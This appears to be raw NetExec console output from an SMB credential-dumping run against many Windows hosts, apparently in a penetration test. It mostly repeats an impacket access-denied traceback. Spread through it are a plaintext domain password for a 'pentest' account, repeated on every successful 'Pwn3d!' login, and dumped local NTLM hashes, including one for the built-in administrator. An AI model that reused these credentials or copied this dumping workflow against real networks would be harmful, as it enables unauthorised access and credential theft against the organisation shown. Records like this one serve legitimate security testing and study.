│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020026 [-] Connection Error: The


NETBIOS connection with the remote host timed out.
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020005


WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXODT020005 [+] Added 4 SAM hashes to the
database
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020057 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020087 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT02030002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020066 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020064 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020014 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020036 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied
SMB [Link] 445 OXOLT020064 [*] Dumping SAM hashes
SMB [Link] 445 OXODT020119 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020064


rootoxxo:500:aad3b435b51404eeaad3b435b51404ee:8d34de2a96b2d9c4a89478af030d[Link]
SMB [Link] 445 OXODT02070008 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020064
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOLT020064
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODT02010002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020064


WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a091f8d5df27afd1218cad5878e
6[Link]
SMB [Link] 445 OXOLT020064 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXODT020073 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT02060007 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied
SMB [Link] 445 OXODT02050001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020072 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

